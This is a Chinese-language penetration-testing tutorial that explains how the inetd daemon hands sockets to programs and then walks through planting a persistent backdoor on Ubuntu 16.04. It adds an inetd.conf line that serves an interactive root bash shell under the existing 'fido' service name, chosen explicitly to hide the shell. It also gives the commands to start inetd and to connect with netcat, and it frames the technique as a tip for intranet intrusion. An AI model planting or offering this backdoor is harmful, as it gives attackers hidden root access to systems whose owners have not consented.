基于 inetd 后门的简要分析及利用



0x01 理解inetd是干什么的

1
2
3
4
5
通俗来讲就是一个监听外部网络请求 [就是一个socket] 的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的
具体怎么工作的呢,其实非常简单,当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序
然后再把接收到的这个socket交给那个程序去处理,问题恰巧也就出在这里
如果来自外部的某个socket是要执行一个可交互的shell [比如,我们已经在目标系统的inetd配置文件中事先定义好],这岂不是就相当于一个简易的bind型后门
另外,关于使用inet的好处就是,不用每个服务都再单独起个进程,这样可以有效降低系统资源消耗,你甚至也可以一定程度上把它理解成linux中的'svchost.exe'进程

0x02 关于inetd.conf配置的具体使用说明

1
2
[service_name] [sock_type] [proto] [flags] [user] [server_path] [args]
[服务名称] [协议(tcp或udp)] [标志(wait或 nowait)] [属主] [真实服务程序全路径] [真实服务程序名称及参数]

我们不妨先来仔细理解下下面语句的意思

1
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd

1
2
3
ftp stream:
inetd 开始监听ftp服务[默认端口是21]
这里的协议名称及默认端口号其实都已在/etc/protocol和/etc/services文件中事先定义好
1
stream : 并为此服务创建流类型的socket
1
tcp: 使用tcp协议
1
2
3
4
5
root /usr/sbin/in.ftpd in.ftpd:
当inetd监听到ftp客户端请求,且端口成功连接后,inetd就会fork一个子进程,该子进程属主为root
同时它也继承了该子进程的父进程与客户端连接成功后所产生的子socket
然后该子进程将该子socket为0,1,2[标准输入,输出及错误输出]发给execl去执行/usr/sbin/in.ftpd in.ftpd程序
另外,这里还需要稍微注意下,定义要执行的程序必须给绝对路径
1
nowait: 父进程不会等待子进程的退出状态

0x03 开始插入inetd后门,此处暂以ubuntu 16.04LTS为例进行演示

因为默认没装,我们需要先装下inetd

1
# apt-get install openbsd-inetd

为了更好的隐藏我们的shell,可以直接用service中定义好的服务,只需要把实际的处理程序替换下即可

1
2
# vi /etc/services
fido 60179/tcp # fidonet EMSI over TCP

配置inetd.conf并启动inetd

1
2
# vi /etc/inetd.conf
fido stream tcp nowait root /bin/bash bash -i # 当外部请求名为fido的服务时就弹个交互式shell给他

1
2
# inetd
# ps -le | grep inetd

0x04 实际的连接效果如下

1
# nc -vv 192.168.3.28 60179

小结:
    也并不是什么特别新鲜的东西,年代跟差不多跟suid后门一样久远,使用也非常简单,不过背后所涉及到的知识还需要大家多花点儿时间去透彻理解下,相信这样你会收获的更多,作为个小tip,在实际渗透内网时,可能会用的上,还是那句话,像这类的bind上去的后门有个通病,只要目标系统防火墙一开基本就全废了